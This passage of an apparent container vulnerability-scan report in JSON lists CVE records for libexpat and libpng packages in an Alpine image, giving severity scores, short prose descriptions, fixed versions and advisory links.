Attackers can supply a multi-gigabyte document with a start tag carrying over 2^30 attributes to overflow attIndex and nPrefixes, crashing applications or corrupting heap memory.", "Severity": "HIGH", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "nvd": 3, "redhat": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H", "V3Score": 8.2 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.9 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-118370", "https://github.com/libexpat/libexpat", "https://github.com/libexpat/libexpat/blob/a76b1174c1ea52abb639a4c69d52b630a8a106a2/expat/lib/xmlparse.c#L4138-L4140", "https://github.com/libexpat/libexpat/commit/1bac53c4fc460a03cd9860f39501c7979f6750ae", "https://github.com/libexpat/libexpat/commit/621cb2c78b253ee023a86bc91d6ddb048481c04c", "https://github.com/libexpat/libexpat/pull/1450", "https://nvd.nist.gov/vuln/detail/CVE-2026-118370", "https://www.cve.org/CVERecord?id=CVE-2026-118370", "https://www.vulncheck.com/advisories/libexpat-through-2.9.0-integer-overflow-in-storeatts-via-attindex-and-nprefixes" ], "PublishedDate": "2026-10-28T03:17:13.293Z", "LastModifiedDate": "2026-11-02T20:17:37.377Z" }, { "VulnerabilityID": "CVE-2026-25210", "PkgID": "libexpat@2.7.3-r0", "PkgName": "libexpat", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libexpat@2.7.3-r0?arch=x86_64\u0026distro=3.21.5", "UID": "a68d248172a73ddf" }, "InstalledVersion": "2.7.3-r0", "FixedVersion": "2.7.4-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-25210", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:0adc134aa3fb6d983725093bee6d60603fc3488591e142526d2ed3fd44865293", "Title": "libexpat: libexpat: Information disclosure and data integrity issues due to integer overflow in buffer reallocation", "Description": "In libexpat before 2.7.4, the doContent function does not properly determine the buffer size bufSize because there is no integer overflow check for tag buffer reallocation.", "Severity": "HIGH", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "amazon": 2, "azure": 2, "cbl-mariner": 2, "julia": 3, "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L", "V3Score": 6.9 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-25210", "https://cert-portal.siemens.com/productcert/html/ssa-253495.html", "https://github.com/libexpat/libexpat/pull/1075", "https://github.com/libexpat/libexpat/pull/1075/commits/9c2d990389e6abe2e44527eeaa8b39f16fe859c7", "https://nvd.nist.gov/vuln/detail/CVE-2026-25210", "https://ubuntu.com/security/notices/USN-8022-1", "https://ubuntu.com/security/notices/USN-8022-2", "https://ubuntu.com/security/notices/USN-8023-1", "https://www.cve.org/CVERecord?id=CVE-2026-25210" ], "PublishedDate": "2026-01-30T07:16:15.57Z", "LastModifiedDate": "2026-06-17T10:24:19.123Z" }, { "VulnerabilityID": "CVE-2026-45186", "PkgID": "libexpat@2.7.3-r0", "PkgName": "libexpat", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libexpat@2.7.3-r0?arch=x86_64\u0026distro=3.21.5", "UID": "a68d248172a73ddf" }, "InstalledVersion": "2.7.3-r0", "FixedVersion": "2.8.1-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-45186", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:67cc913114094439ca3a36f168697ddac561a064e87c973a4950edbee4ac143b", "Title": "libexpat: denial of service via crafted XML input", "Description": "In libexpat before 2.8.1, the computational complexity of attribute name collision checks allows a denial of service via moderately sized crafted XML input.", "Severity": "HIGH", "CweIDs": [ "CWE-407" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 1, "julia": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/05/11/16", "https://access.redhat.com/errata/RHSA-2026:22715", "https://access.redhat.com/errata/RHSA-2026:22721", "https://access.redhat.com/errata/RHSA-2026:23230", "https://access.redhat.com/errata/RHSA-2026:26319", "https://access.redhat.com/errata/RHSA-2026:27201", "https://access.redhat.com/errata/RHSA-2026:29197", "https://access.redhat.com/errata/RHSA-2026:58981", "https://access.redhat.com/errata/RHSA-2026:93443", "https://access.redhat.com/security/cve/CVE-2026-45186", "https://bugzilla.redhat.com/2468575", "https://bugzilla.redhat.com/2550393", "https://bugzilla.redhat.com/2550394", "https://bugzilla.redhat.com/2550396", "https://bugzilla.redhat.com/2550397", "https://bugzilla.redhat.com/2550400", "https://bugzilla.redhat.com/2550401", "https://bugzilla.redhat.com/2550403", "https://bugzilla.redhat.com/2550404", "https://bugzilla.redhat.com/2550405", "https://bugzilla.redhat.com/2550406", "https://bugzilla.redhat.com/2550408", "https://bugzilla.redhat.com/2550410", "https://bugzilla.redhat.com/2550411", "https://bugzilla.redhat.com/2550412", "https://bugzilla.redhat.com/2550413", "https://bugzilla.redhat.com/2550417", "https://bugzilla.redhat.com/2550418", "https://bugzilla.redhat.com/2550419", "https://bugzilla.redhat.com/2550420", "https://bugzilla.redhat.com/2550421", "https://bugzilla.redhat.com/2550422", "https://bugzilla.redhat.com/2550424", "https://bugzilla.redhat.com/2550425", "https://bugzilla.redhat.com/2550426", "https://bugzilla.redhat.com/2550428", "https://bugzilla.redhat.com/2550429", "https://bugzilla.redhat.com/2550430", "https://bugzilla.redhat.com/2550431", "https://bugzilla.redhat.com/2550432", "https://bugzilla.redhat.com/2550433", "https://bugzilla.redhat.com/2550434", "https://bugzilla.redhat.com/2550436", "https://bugzilla.redhat.com/2550438", "https://bugzilla.redhat.com/2550440", "https://bugzilla.redhat.com/2550442", "https://bugzilla.redhat.com/2550444", "https://bugzilla.redhat.com/2550446", "https://bugzilla.redhat.com/2550450", "https://bugzilla.redhat.com/2550451", "https://bugzilla.redhat.com/2550452", "https://bugzilla.redhat.com/2550454", "https://bugzilla.redhat.com/2550455", "https://bugzilla.redhat.com/2550458", "https://bugzilla.redhat.com/2550459", "https://bugzilla.redhat.com/2550461", "https://bugzilla.redhat.com/2550463", "https://bugzilla.redhat.com/2550464", "https://bugzilla.redhat.com/2550465", "https://bugzilla.redhat.com/2550467", "https://bugzilla.redhat.com/2550468", "https://bugzilla.redhat.com/2550469", "https://bugzilla.redhat.com/2550470", "https://bugzilla.redhat.com/2550471", "https://bugzilla.redhat.com/2550472", "https://bugzilla.redhat.com/2550473", "https://bugzilla.redhat.com/2550474", "https://bugzilla.redhat.com/2550475", "https://bugzilla.redhat.com/2550476", "https://bugzilla.redhat.com/2550477", "https://bugzilla.redhat.com/2550478", "https://bugzilla.redhat.com/2550480", "https://bugzilla.redhat.com/show_bug.cgi?id=2468575", "https://cert-portal.siemens.com/productcert/html/ssa-082556.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45186", "https://errata.almalinux.org/9/ALSA-2026-93443.html", "https://errata.rockylinux.org/RLSA-2026:23230", "https://github.com/libexpat/libexpat/pull/1216", "https://linux.oracle.com/cve/CVE-2026-45186.html", "https://linux.oracle.com/errata/ELSA-2026-93443.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-45186", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-45186.json", "https://ubuntu.com/security/notices/USN-8790-1", "https://www.cve.org/CVERecord?id=CVE-2026-45186" ], "PublishedDate": "2026-05-10T07:16:07.883Z", "LastModifiedDate": "2026-09-16T13:17:58.967Z" }, { "VulnerabilityID": "CVE-2026-66046", "PkgID": "libexpat@2.7.3-r0", "PkgName": "libexpat", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libexpat@2.7.3-r0?arch=x86_64\u0026distro=3.21.5", "UID": "a68d248172a73ddf" }, "InstalledVersion": "2.7.3-r0", "FixedVersion": "2.8.4-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-66046", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:5492e1998f18dd2512831ec01458d9f76c493e6a3b5626a24d1acb3bfe1bcd46", "Title": "expat: Expat: Denial of Service via quadratic complexity in attribute processing", "Description": "Expat through 2.8.3 contains a denial of service vulnerability caused by quadratic algorithmic complexity in the storeAtts() function in xmlparse.c, where processing N specified attributes with non-normalized values triggers an O(N^2) linear scan of elementType-\u003edefaultAtts to determine CDATA status. A remote unauthenticated attacker can supply a single well-formed XML document of a few megabytes to an application parsing untrusted XML to cause excessive CPU consumption, resulting in denial of service without requiring authentication, external entity resolution, or non-default parser options.", "Severity": "HIGH", "CweIDs": [ "CWE-407" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:72663", "https://access.redhat.com/security/cve/CVE-2026-66046", "https://bugzilla.redhat.com/2538967", "https://bugzilla.redhat.com/show_bug.cgi?id=2517901", "https://bugzilla.redhat.com/show_bug.cgi?id=2538967", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-66046", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93990", "https://errata.almalinux.org/9/ALSA-2026-72663.html", "https://errata.rockylinux.org/RLSA-2026:72663", "https://github.com/libexpat/libexpat/pull/1321", "https://linux.oracle.com/cve/CVE-2026-66046.html", "https://linux.oracle.com/errata/ELSA-2026-74001.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-66046", "https://ubuntu.com/security/notices/USN-8813-1", "https://www.cve.org/CVERecord?id=CVE-2026-66046", "https://www.vulncheck.com/advisories/expat-denial-of-service-via-storeatts-quadratic-complexity" ], "PublishedDate": "2026-08-18T15:16:57Z", "LastModifiedDate": "2026-10-22T22:10:00.25Z" }, { "VulnerabilityID": "CVE-2026-76641", "PkgID": "libexpat@2.7.3-r0", "PkgName": "libexpat", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libexpat@2.7.3-r0?arch=x86_64\u0026distro=3.21.5", "UID": "a68d248172a73ddf" }, "InstalledVersion": "2.7.3-r0", "FixedVersion": "2.8.4-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-76641", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:f2142333500346ff5ab1140e592e5cb99b3af4f347a56b99ac46b1f9e23cff40", "Title": "expat: Expat: Denial of Service via XML external entity parsing", "Description": "Expat through 2.8.3 contains an out-of-bounds read vulnerability that allows attackers to trigger memory corruption by processing XML with external entity parsers created via XML_ExternalEntityParserCreate. A struct size mismatch between ELEMENT_TYPE members causes storeAtts to read the attIndex member past allocated memory boundaries, resulting in failure to normalize whitespace in non-CDATA attributes or a wild pointer dereference causing a segfault. This vulnerability was introduced by the fix for CVE-2026-66046.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "azure": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-76641", "https://github.com/libexpat/libexpat/commit/98599f6dcc2b460410881fe420f5f55d6bec63bf", "https://github.com/libexpat/libexpat/pull/1331", "https://nvd.nist.gov/vuln/detail/CVE-2026-76641", "https://ubuntu.com/security/notices/USN-8813-1", "https://www.cve.org/CVERecord?id=CVE-2026-76641", "https://www.vulncheck.com/advisories/expat-out-of-bounds-read-via-dtdcopy" ], "PublishedDate": "2026-08-20T18:16:51.887Z", "LastModifiedDate": "2026-10-26T10:10:00.14Z" }, { "VulnerabilityID": "CVE-2026-76956", "PkgID": "libexpat@2.7.3-r0", "PkgName": "libexpat", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libexpat@2.7.3-r0?arch=x86_64\u0026distro=3.21.5", "UID": "a68d248172a73ddf" }, "InstalledVersion": "2.7.3-r0", "FixedVersion": "2.8.4-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-76956", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:c78199ad1118bac714c2a577474b0199e44b3e2d907791366ec2098e88dd2c69", "Title": "libexpat: libexpat: Denial of Service via hash flooding attack with crafted XML", "Description": "In libexpat 2.8.2 and 2.8.3 before 2.8.4, misinterpretation of getentropy's return code leads to insufficient entropy, which results in being vulnerable to hash flooding attacks, causing a denial of service via crafted XML content.", "Severity": "HIGH", "CweIDs": [ "CWE-394" ], "VendorSeverity": { "azure": 2, "nvd": 3, "redhat": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.9 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-76956", "https://github.com/libexpat/libexpat/pull/1326", "https://github.com/libexpat/libexpat/pull/1329", "https://nvd.nist.gov/vuln/detail/CVE-2026-76956", "https://www.cve.org/CVERecord?id=CVE-2026-76956" ], "PublishedDate": "2026-08-20T05:16:29.61Z", "LastModifiedDate": "2026-09-08T21:08:20.697Z" }, { "VulnerabilityID": "CVE-2026-76957", "PkgID": "libexpat@2.7.3-r0", "PkgName": "libexpat", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libexpat@2.7.3-r0?arch=x86_64\u0026distro=3.21.5", "UID": "a68d248172a73ddf" }, "InstalledVersion": "2.7.3-r0", "FixedVersion": "2.8.4-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-76957", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:5575fd030046a2023fd1ee9bc0f1ad104ea7494f6b70ac714f6b298c538c6bc8", "Title": "libexpat: libexpat: Memory corruption vulnerability allows arbitrary code execution or denial of service", "Description": "libexpat before 2.8.4 lacks handler call depth tracking with custom encoding callbacks. Thus, a use-after-free can occur. NOTE: this is similar to CVE-2026-50219, CVE-2026-56131 and CVE-2026-56412.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "amazon": 3, "azure": 2, "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L", "V3Score": 4.9 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-76957", "https://github.com/libexpat/libexpat/pull/1322", "https://github.com/libexpat/libexpat/pull/1329", "https://nvd.nist.gov/vuln/detail/CVE-2026-76957", "https://ubuntu.com/security/notices/USN-8813-1", "https://www.cve.org/CVERecord?id=CVE-2026-76957" ], "PublishedDate": "2026-08-20T05:16:29.747Z", "LastModifiedDate": "2026-09-08T20:56:31.86Z" }, { "VulnerabilityID": "CVE-2026-77214", "PkgID": "libexpat@2.7.3-r0", "PkgName": "libexpat", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libexpat@2.7.3-r0?arch=x86_64\u0026distro=3.21.5", "UID": "a68d248172a73ddf" }, "InstalledVersion": "2.7.3-r0", "FixedVersion": "2.9.0-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-77214", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:9e2cdd564003c8d1482afb5157acf6c2f921ad6ae2c429e915f9d7677b4f5672", "Title": "expat: expat: Information disclosure via heap buffer over-read in XML_ParseBuffer", "Description": "libexpat before commit 13c5f63 contains a heap buffer over-read vulnerability in xmlparse.c. XML_ParseBuffer advances the parse buffer end with parser-\u003em_bufferEnd += len using a caller-supplied length that is not validated against the allocated buffer size, so repeated XML_ParseBuffer calls move m_bufferEnd past the end of the heap allocation and subsequent parsing reads out of bounds. Reaching this path requires a parse buffer to already be present; otherwise XML_ParseBuffer returns XML_ERROR_NO_BUFFER. A buffer is present after a prior call to XML_GetBuffer, either directly (the common case) or indirectly through a prior XML_Parse call that allocates the buffer internally. The over-read discloses adjacent heap memory to the calling application, recovering heap pointers, libc function pointers, and code pointers sufficient to defeat ASLR and build further exploitation primitives.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L", "V3Score": 8.2 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:88247", "https://access.redhat.com/security/cve/CVE-2026-77214", "https://bugzilla.redhat.com/2543288", "https://bugzilla.redhat.com/2547476", "https://bugzilla.redhat.com/show_bug.cgi?id=2543288", "https://bugzilla.redhat.com/show_bug.cgi?id=2547476", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-102633", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-77214", "https://errata.almalinux.org/9/ALSA-2026-88247.html", "https://errata.rockylinux.org/RLSA-2026:88247", "https://github.com/libexpat/libexpat/commit/13c5f63a7f1c52c2feee3b16a1134d4fb68e9ea0", "https://github.com/libexpat/libexpat/pull/1393", "https://linux.oracle.com/cve/CVE-2026-77214.html", "https://linux.oracle.com/errata/ELSA-2026-92323.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-77214", "https://www.cve.org/CVERecord?id=CVE-2026-77214", "https://www.vulncheck.com/advisories/libexpat-heap-buffer-over-read-in-xmlparse-c-via-xml-parsebuffer" ], "PublishedDate": "2026-10-07T15:17:53.327Z", "LastModifiedDate": "2026-10-10T03:17:08.487Z" }, { "VulnerabilityID": "CVE-2026-93990", "PkgID": "libexpat@2.7.3-r0", "PkgName": "libexpat", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libexpat@2.7.3-r0?arch=x86_64\u0026distro=3.21.5", "UID": "a68d248172a73ddf" }, "InstalledVersion": "2.7.3-r0", "FixedVersion": "2.8.5-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-93990", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:5eedd17b60a3e3a6f462c2dc49ca90bc2c3b65830ca758df54d8282e319c83cc", "Title": "expat: Expat: XML Injection via Malformed UTF-16 Input", "Description": "Expat before 2.8.5 fails to validate that a high surrogate in UTF-16 input is followed by a low surrogate, allowing malformed UTF-16 sequences to be accepted. Attackers can supply UTF-16 encoded XML containing lone high surrogates that consume the following code unit, causing Expat to pass unpaired surrogates to applications built with XML_UNICODE and to silently replace input characters in other builds.", "Severity": "HIGH", "CweIDs": [ "CWE-176" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:72663", "https://access.redhat.com/security/cve/CVE-2026-93990", "https://blog.hartwork.org/posts/expat-2-8-5-released/", "https://bugzilla.redhat.com/2538967", "https://bugzilla.redhat.com/show_bug.cgi?id=2517901", "https://bugzilla.redhat.com/show_bug.cgi?id=2538967", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-66046", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93990", "https://errata.almalinux.org/9/ALSA-2026-72663.html", "https://errata.rockylinux.org/RLSA-2026:72663", "https://github.com/libexpat/libexpat", "https://github.com/libexpat/libexpat/commit/ff6e1d7e750bbe245178f51a47a965dc8342861a", "https://github.com/libexpat/libexpat/pull/1282", "https://github.com/libexpat/libexpat/releases/tag/R_2_8_5", "https://linux.oracle.com/cve/CVE-2026-93990.html", "https://linux.oracle.com/errata/ELSA-2026-74001.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-93990", "https://www.cve.org/CVERecord?id=CVE-2026-93990", "https://www.vulncheck.com/advisories/expat-through-2.8.4-malformed-utf-16-acceptance-via-unchecked-surrogate" ], "PublishedDate": "2026-09-19T23:17:10.203Z", "LastModifiedDate": "2026-09-28T17:17:53.037Z" }, { "VulnerabilityID": "CVE-2026-22695", "PkgID": "libpng@1.6.53-r0", "PkgName": "libpng", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libpng@1.6.53-r0?arch=x86_64\u0026distro=3.21.5", "UID": "a32568af50b10dba" }, "InstalledVersion": "1.6.53-r0", "FixedVersion": "1.6.54-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-22695", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:8dd6f6d3980c7787a5d2e88cafb0d2f34de92e95d22c1f39e1ec9c86997ef34c", "Title": "libpng: libpng: Denial of service and information disclosure via heap buffer over-read in png_image_finish_read", "Description": "LIBPNG is a reference library for use in applications that read, create, and manipulate PNG (Portable Network Graphics) raster image files. From 1.6.51 to 1.6.53, there is a heap buffer over-read in the libpng simplified API function png_image_finish_read when processing interlaced 16-bit PNGs with 8-bit output format and non-minimal row stride. This is a regression introduced by the fix for CVE-2025-65018. This vulnerability is fixed in 1.6.54.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "alma": 3, "amazon": 2, "azure": 2, "cbl-mariner": 2, "julia": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "rocky": 3, "ubuntu": 2 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:H", "V3Score": 6.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:3405", "https://access.redhat.com/errata/RHSA-2026:9689", "https://access.redhat.com/security/cve/CVE-2026-22695", "https://bugzilla.redhat.com/show_bug.cgi?id=2428824", "https://bugzilla.redhat.com/show_bug.cgi?id=2428825", "https://bugzilla.redhat.com/show_bug.cgi?id=2438542", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22695", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22801", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25646", "https://errata.almalinux.org/9/ALSA-2026-9689.html", "https://errata.rockylinux.org/RLSA-2026:3405", "https://github.com/pnggroup/libpng/commit/218612ddd6b17944e21eda56caf8b4bf7779d1ea", "https://github.com/pnggroup/libpng/commit/e4f7ad4ea2", "https://github.com/pnggroup/libpng/issues/778", "https://github.com/pnggroup/libpng/security/advisories/GHSA-mmq5-27w3-rxpp", "https://linux.oracle.com/cve/CVE-2026-22695.html", "https://linux.oracle.com/errata/ELSA-2026-4728.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-22695", "https://ubuntu.com/security/notices/USN-7963-1", "https://ubuntu.com/security/notices/USN-8035-1", "https://www.cve.org/CVERecord?id=CVE-2026-22695", "https://www.openwall.com/lists/oss-security/2026/01/12/7" ], "PublishedDate": "2026-01-12T23:15:52.597Z", "LastModifiedDate": "2026-06-17T10:20:15.007Z" }, { "VulnerabilityID": "CVE-2026-22801", "PkgID": "libpng@1.6.53-r0", "PkgName": "libpng", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libpng@1.6.53-r0?arch=x86_64\u0026distro=3.21.5", "UID": "a32568af50b10dba" }, "InstalledVersion": "1.6.53-r0", "FixedVersion": "1.6.54-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-22801", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:f6a7580400b02a69f852fb91dac3bab25f913ccaad283c666a4f504aa707457e", "Title": "libpng: libpng: Information disclosure and denial of service via integer truncation in simplified write API", "Description": "LIBPNG is a reference library for use in applications that read, create, and manipulate PNG (Portable Network Graphics) raster image files. From 1.6.26 to 1.6.53, there is an integer truncation in the libpng simplified write API functions png_write_image_16bit and png_write_image_8bit causes heap buffer over-read when the caller provides a negative row stride (for bottom-up image layouts) or a stride exceeding 65535 bytes. The bug was introduced in libpng 1.6.26 (October 2016) by casts added to silence compiler warnings on 16-bit systems. This vulnerability is fixed in 1.6.54.", "Severity": "HIGH", "CweIDs": [ "CWE-125", "CWE-190" ], "VendorSeverity": { "alma": 3, "amazon": 2, "azure": 2, "cbl-mariner": 2, "julia": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "rocky": 3, "ubuntu": 2 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:H", "V3Score": 6.6 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:3405", "https://access.redhat.com/errata/RHSA-2026:9689", "https://access.redhat.com/security/cve/CVE-2026-22801", "https://bugzilla.redhat.com/show_bug.cgi?id=2428824", "https://bugzilla.redhat.com/show_bug.cgi?id=2428825", "https://bugzilla.redhat.com/show_bug.cgi?id=2438542", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22695", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22801", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25646", "https://errata.almalinux.org/9/ALSA-2026-9689.html", "https://errata.rockylinux.org/RLSA-2026:3405", "https://github.com/pnggroup/libpng/security/advisories/GHSA-vgjq-8cw5-ggw8", "https://linux.oracle.com/cve/CVE-2026-22801.html", 